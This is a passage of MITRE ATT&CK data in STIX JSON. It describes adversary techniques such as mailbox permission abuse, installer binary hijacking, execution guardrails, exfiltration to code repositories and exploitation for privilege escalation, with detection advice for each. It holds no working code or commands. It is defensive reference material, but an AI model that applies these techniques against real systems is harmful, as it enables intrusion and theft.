                    "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/",
                    "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020."
                },
                {
                    "source_name": "Bienstock, D. - Defending O365 - 2019",
                    "url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365",
                    "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exchange Email Delegate Permissions",
            "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
            "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-05-04T19:18:36.254Z",
            "created": "2020-01-19T16:54:28.516Z",
            "x_mitre_contributors": [
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.",
            "x_mitre_data_sources": [
                "Group: Group Modification",
                "User Account: User Account Modification"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.005",
                    "url": "https://attack.mitre.org/techniques/T1574/005"
                },
                {
                    "source_name": "mozilla_sec_adv_2012",
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
                    "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017."
                },
                {
                    "source_name": "Executable Installers are Vulnerable",
                    "url": "https://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Executable Installer File Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
            "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-26T19:20:23.030Z",
            "created": "2020-03-13T11:12:18.558Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_effective_permissions": [
                "Administrator",
                "User",
                "SYSTEM"
            ],
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Module: Module Load",
                "Process: Process Creation",
                "Service: Service Metadata"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2019-01-31T02:10:08.261Z",
            "modified": "2020-06-24T18:52:12.956Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
            "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.",
            "name": "Execution Guardrails",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1480",
                    "url": "https://attack.mitre.org/techniques/T1480"
                },
                {
                    "source_name": "FireEye Kevin Mandia Guardrails",
                    "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/",
                    "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019."
                },
                {
                    "source_name": "FireEye Outlook Dec 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html",
                    "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Nick Carr, FireEye"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host forensic analysis",
                "Signature-based detection",
                "Static file analysis"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2017-05-31T21:30:44.720Z",
            "modified": "2020-03-28T00:50:31.548Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exfiltration Over Alternative Protocol",
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                    "url": "https://attack.mitre.org/techniques/T1567/001"
                }
            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exfiltration to Code Repository",
            "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",
            "id": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "modified": "2020-03-28T00:58:55.433Z",
            "created": "2020-03-09T14:51:11.772Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exploit Public-Facing Application",
            "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1190",
                    "url": "https://attack.mitre.org/techniques/T1190"
                },
                {
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2016-6662"
                },
                {
                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "source_name": "CIS Multiple SMB Vulnerabilities"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                },
                {
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2014-7169"
                },
                {
                    "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project",
                    "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.",
                    "source_name": "OWASP Top 10"
                },
                {
                    "source_name": "CWE top 25",
                    "url": "https://cwe.mitre.org/top25/index.html",
                    "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-12T18:25:16.409Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Network",
                "Linux",
                "macOS",
                "Containers"
            ],
            "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Praetorian"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1203",
                    "external_id": "T1203"
                }
            ],
            "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",
            "name": "Exploitation for Client Execution",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-03-28T19:06:02.690Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_version": "1.1",
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_system_requirements": [
                "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise."
            ],
            "x_mitre_remote_support": true,
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exploitation for Credential Access",
            "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1212",
                    "url": "https://attack.mitre.org/techniques/T1212"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
                    "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.",
                    "source_name": "Technet MS14-068"
                },
                {
                    "url": "https://adsecurity.org/?p=1515",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "source_name": "ADSecurity Detecting Forged Tickets"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-25T18:51:01.070Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Exploitation for Defense Evasion",
            "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1211",
                    "external_id": "T1211"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T20:00:46.900Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "System access controls"
            ],
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1068",
                    "url": "https://attack.mitre.org/techniques/T1068"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                },
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
                },
                {
                    "source_name": "Microsoft Driver Block Rules",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules",
                    "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021."
                }
            ],
            "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",
            "name": "Exploitation for Privilege Escalation",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-22T16:13:34.896Z",
            "created": "2017-05-31T21:30:55.066Z",
            "x_mitre_contributors": [
                "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
                "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security",
                "Idan Revivo, @idanr86, Team Nautilus Aqua Security"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Driver: Driver Load"
            ],
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.",
            "x_mitre_effective_permissions": [
                "User"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1210",
                    "url": "https://attack.mitre.org/techniques/T1210"
                },
                {
                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "source_name": "CIS Multiple SMB Vulnerabilities"
                },
                {
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
                    "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2017-0176"
                },
                {
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2016-6662"
                },
                {
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "source_name": "NVD CVE-2014-7169"
                }
            ],
            "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",
            "name": "Exploitation of Remote Services",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2021-04-22T20:23:01.478Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_contributors": [
                "ExtraHop"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_system_requirements": [
                "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network."
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2020-10-01T01:48:15.511Z",
            "modified": "2021-04-15T03:07:53.803Z",
            "kill_chain_phases": [
                {
